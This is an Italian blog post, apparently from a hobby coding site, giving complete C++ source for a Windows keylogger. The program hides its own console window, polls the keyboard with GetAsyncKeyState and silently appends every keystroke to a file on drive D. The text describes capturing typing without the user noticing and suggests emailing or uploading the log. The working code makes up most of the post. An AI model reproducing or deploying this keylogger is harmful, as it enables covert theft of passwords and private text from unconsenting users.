hacker, coding, programming

Come scrivere un Keylogger in c++

Eccovi un semplice Keylogger che ho scritto io in c++.

Come scrivere un Keylogger in c++

Un keylogger è uno strumento hardware o software in grado di effettuare lo sniffing della tastiera di un computer, cioè è un programma capace d’intercettare e catturare segretamente tutto ciò che viene digitato sulla tastiera senza che l’utente si accorga di essere monitorato.

Con un keylogger se lo desiderate potete salvare il file di testo nel pc o in una usb per poi visionarlo. In alternativa inviarlo via email o caricarlo in un sito internet.

Per eseguirlo vi basta scaricare un compilatore per c++. Io vi consiglio Dev-C++ che è un ottimo ambiente di sviluppo che usavo una volta quando studiavo c++.

//keylogger
#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include<windows.h>
#include <fstream>
#define DELAY 150
#define SHIFT GetAsyncKeyState(VK_SHIFT)
using namespace std;
void text(char i)
{
ofstream SaveFile("D://key.txt", ios::app);
if (isupper(i)) 
i=tolower(i);
putchar (i);
SaveFile << i;
SaveFile.close();
}
void text_maiusc(char i)
{
ofstream SaveFile("D://key.txt", ios::app);
SaveFile << i;
SaveFile.close();
}
void invio()
{
ofstream SaveFile("D://key.txt", ios::app);
SaveFile << "\n";
SaveFile.close();
}
int main(){
AllocConsole();
ShowWindow(FindWindow("ConsoleWindowClass", NULL), FALSE);


while(true)
{
Sleep(10);/*to prevent 100% cpu usage*/
//rileva i caratteri maiuscoli tenedo premuto il tasto SHIFT.
if (SHIFT != 0)
{
	for(char i=31;i<91;i++)
	{
		if(GetAsyncKeyState(i) != 0)
		{
		//printf("%c \n",i);
		text_maiusc(i);
		Sleep(DELAY);
		}
	}
}
else
{
//rileva i caratteri minuscoli	
	for(char i=31;i<91;i++)
	{
		if(GetAsyncKeyState(i) != 0)
		{
		//printf("%c \n",i);
		text(i);
		Sleep(DELAY);
		}
	};
}
//rileva il tasto invio
if(GetAsyncKeyState(13) != 0)
{
	invio();
	Sleep(DELAY);
}

}

	return 0;
}

Il codice è stato realizzato partendo dal video tutorial qui linkato.

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *